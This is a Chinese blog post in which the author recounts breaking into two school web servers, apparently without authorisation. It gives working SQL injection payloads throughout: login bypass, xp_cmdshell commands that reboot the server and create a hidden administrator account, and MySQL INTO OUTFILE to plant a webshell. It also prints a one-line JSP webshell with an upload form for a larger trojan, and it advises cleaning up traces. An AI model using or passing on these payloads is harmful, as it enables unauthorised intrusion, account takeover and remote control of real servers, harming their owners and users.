从SQL注入到管理员权限

最近又干了点没用的

SQL入侵后拿到管理员权限的服务器

SQL入侵后拿到管理员权限的服务器

又一个

又一个

这两台服务器都是利用SQL注入进行入侵,一步步拿到管理员权限的(事实上有时候只需一两步)

先说配置差些的这台,这是我通过SQL注入第一次入侵成功的服务器。网站是个非常简单的CMS,用Asp.net和SQLServer实现,系统为Windows Server 2003,有多简单呢?简单到连SQL语句过滤都没有。CMS的显示文章页面URL为

http://example.com/main.aspx?forecast_id={文章ID}

第一步先试试有没有SQL注入漏洞

http://example.com/main.aspx?forecast_id={文章ID}' and '1'='1';--
http://example.com/main.aspx?forecast_id={文章ID}' and '1'='2';--

如果有,那么第一个URL会访问成功,第二个则会失败;否则都会失败。

这个CMS在安全方面实在太欠缺考虑,完全没有引号等危险字符的检查,于是显然是可以入侵的(即使网站做了较为简单的字符过滤,也是有可能被入侵,如使用转义字符等,在此不再赘述)

由于是第一次尝试SQL注入,再经历各种失败和弯路之后,我提交了这样的请求:

http://example.com/main.aspx?forecast_id={文章ID}';exec master.dbo.xp_cmdshell 'shutdown -r -t 0';--

不知道为什么我对重启命令情有独钟,上次入侵网站也是提交的重启,也是这是检测管理员权限最简单的方法吧。

如我所愿,服务器重启了。那么剩下的事就很轻易了

新建管理员账户:

http://example.com/main.aspx?forecast_id={文章ID}';exec master.dbo.xp_cmdshell 'net user {新管理员账号} {新管理员密码} /add';--

将账户添加至管理员组(否则只用普通用户权限):

http://example.com/main.aspx?forecast_id={文章ID}';exec master.dbo.xp_cmdshell 'net localgroup administrators {新管理员账号} /add';--

服务器开启了3389远程桌面,于是直接用新管理员账号登陆,成功。剩下的事我就不用说了吧(做好清理很重要)。

有了这次成功的入侵,我又把目标瞄向了另一个网站,由Tomcat和MySQL实现,系统却是Windows Server 2003。

这个网站我关注很久了,之前就通过提交

' or ''='

作为账户密码绕过了登录验证,不过由于管理员权限较低,没有什么有用的发现。这次改变思路,用别的办法拿权限。

由于MySQL并没有提供SQLServer的xp_cmdshell那样方便的“后门”,所以不能直接执行系统命令,但MySQL提供了将SELECT结果输出至文件的语句:

SELECT * INTO OUTFILE '{输出文件名}'

于是先在网站上找到一个编辑通知的提交框(需要网站管理员权限,不过之前说过我已经拿到了),修改其中的内容后保存,再使用OUTFILE输入只指定.jsp文件即可(需要预先知道网站文件的真实路径)

http://example2.com/main.jsp?id={通知ID}' into outfile 'd:/**/webshell.jsp' ) /*

这样就可以将提交框中的内容输出到指定文件中,那么我们应该输出点什么呢?最适合的是所谓的“一句话木马”:

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

原理很简单,将GET或者POST传来的参数进行处理,f为要写入的文件名(可以包含路径),t为要写入的内容。它起到过渡的作用,用于上传更大的木马。我们可以编写这样一个网页来提交大木马:

<form action="http://example2.com/**/webshell.jsp" method="post"><input type="text" name="f" />

<input type="submit" />

</form>

因为要上传的木马可能会比较大,所以要是用POST方法进行提交。

这样,我们就可以拿到网站的WebShell,由于Windows下安装Tomcat等Linux惯用的服务器权限没有默认支持,很容易忽略权控制,这个网站就是用的管理员权限运行的Tomcat,所以通过调用cmd进行建立管理员等操作。剩下的,我也就不用再重复了。

学校的网站普遍缺少足够的安全意识,漏洞随处可见,这两个只是作为练手而已,并没有对服务器进行任何破坏性行为。

非常繁忙的服务器

最后发一张那台配置较差的服务器的截图,上面竟然跑了11个网站,其中一个还是有3000多用户可能在同一天访问的大站。1G物理内存被用光还用了500多M虚拟内存,能跑起来真不容易。而另外那个8核16线程16G内存竟然只跑了个两三个几乎没人访问的小站,真不知道网管们是怎么想的。

一条评论

回复 贾亦真 取消回复